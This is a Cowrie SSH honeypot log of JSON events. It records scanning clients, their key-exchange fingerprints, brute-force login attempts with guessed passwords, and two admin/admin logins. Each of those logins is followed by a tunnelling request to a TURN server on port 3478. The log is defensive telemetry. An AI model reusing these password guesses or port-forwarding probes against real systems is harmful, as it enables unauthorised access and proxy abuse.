{"eventid":"cowrie.session.connect","src_ip":"159.192.144.204","src_port":40462,"dst_ip":"10.17.0.5","dst_port":22,"session":"700c20ae0aee","protocol":"ssh","message":"New connection: 159.192.144.204:40462 (10.17.0.5:22) [session: 700c20ae0aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:01:19.403252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:01:19.406878Z","src_ip":"159.192.144.204","session":"700c20ae0aee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:01:19.669948Z","src_ip":"159.192.144.204","session":"700c20ae0aee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2016!!","message":"login attempt [root/unitedstates2016!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:01:20.460238Z","src_ip":"159.192.144.204","session":"700c20ae0aee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:01:21.725431Z","src_ip":"159.192.144.204","session":"700c20ae0aee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.92.241.150","src_port":51084,"dst_ip":"10.17.0.5","dst_port":22,"session":"933ee0a3cc76","protocol":"ssh","message":"New connection: 188.92.241.150:51084 (10.17.0.5:22) [session: 933ee0a3cc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:02:13.526342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:02:13.529743Z","src_ip":"188.92.241.150","session":"933ee0a3cc76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:02:13.655993Z","src_ip":"188.92.241.150","session":"933ee0a3cc76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123","message":"login attempt [dev/dev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:02:14.174703Z","src_ip":"188.92.241.150","session":"933ee0a3cc76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:02:15.298665Z","src_ip":"188.92.241.150","session":"933ee0a3cc76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.154.74.204","src_port":43398,"dst_ip":"10.17.0.5","dst_port":22,"session":"697d10be4f4f","protocol":"ssh","message":"New connection: 122.154.74.204:43398 (10.17.0.5:22) [session: 697d10be4f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:02:19.391930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:02:19.396093Z","src_ip":"122.154.74.204","session":"697d10be4f4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:02:19.636140Z","src_ip":"122.154.74.204","session":"697d10be4f4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2016!@#","message":"login attempt [root/unitedstates2016!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:02:20.359130Z","src_ip":"122.154.74.204","session":"697d10be4f4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:02:21.597273Z","src_ip":"122.154.74.204","session":"697d10be4f4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.180.136","src_port":47528,"dst_ip":"10.17.0.5","dst_port":22,"session":"38b529fa892d","protocol":"ssh","message":"New connection: 165.22.180.136:47528 (10.17.0.5:22) [session: 38b529fa892d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:02:49.157381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:02:49.160753Z","src_ip":"165.22.180.136","session":"38b529fa892d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:02:49.167854Z","src_ip":"165.22.180.136","session":"38b529fa892d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2016@","message":"login attempt [root/unitedstates2016@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:02:49.179660Z","src_ip":"165.22.180.136","session":"38b529fa892d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:02:50.186603Z","src_ip":"165.22.180.136","session":"38b529fa892d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.92.241.150","src_port":57504,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e8bd8857342","protocol":"ssh","message":"New connection: 188.92.241.150:57504 (10.17.0.5:22) [session: 2e8bd8857342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:31.939771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:31.943119Z","src_ip":"188.92.241.150","session":"2e8bd8857342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:32.073721Z","src_ip":"188.92.241.150","session":"2e8bd8857342","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user5","password":"123456","message":"login attempt [user5/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:32.632983Z","src_ip":"188.92.241.150","session":"2e8bd8857342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:33.766937Z","src_ip":"188.92.241.150","session":"2e8bd8857342","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":58294,"dst_ip":"159.203.135.109","dst_port":22,"session":"f15773f80939","protocol":"ssh","message":"New connection: 45.148.10.121:58294 (159.203.135.109:22) [session: f15773f80939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:49.290093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:49.295725Z","src_ip":"45.148.10.121","session":"f15773f80939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:49.380393Z","src_ip":"45.148.10.121","session":"f15773f80939","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:49.640435Z","src_ip":"45.148.10.121","session":"f15773f80939","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:49.728368Z","session":"f15773f80939","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:49.815024Z","src_ip":"45.148.10.121","session":"f15773f80939","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:49.818173Z","src_ip":"45.148.10.121","session":"f15773f80939","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:49.905525Z","src_ip":"45.148.10.121","session":"f15773f80939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":58306,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6a79dd03e2b","protocol":"ssh","message":"New connection: 45.148.10.121:58306 (159.203.135.109:22) [session: e6a79dd03e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:49.983201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:49.987461Z","src_ip":"45.148.10.121","session":"e6a79dd03e2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:50.072072Z","src_ip":"45.148.10.121","session":"e6a79dd03e2b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:50.322784Z","src_ip":"45.148.10.121","session":"e6a79dd03e2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:50.451751Z","session":"e6a79dd03e2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:50.554402Z","src_ip":"45.148.10.121","session":"e6a79dd03e2b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:50.556676Z","src_ip":"45.148.10.121","session":"e6a79dd03e2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:50.648700Z","src_ip":"45.148.10.121","session":"e6a79dd03e2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":33632,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cdff78dfcec","protocol":"ssh","message":"New connection: 14.55.144.22:33632 (10.17.0.5:22) [session: 7cdff78dfcec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:53.500232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:03:53.503994Z","src_ip":"14.55.144.22","session":"7cdff78dfcec","protocol":"ssh"}
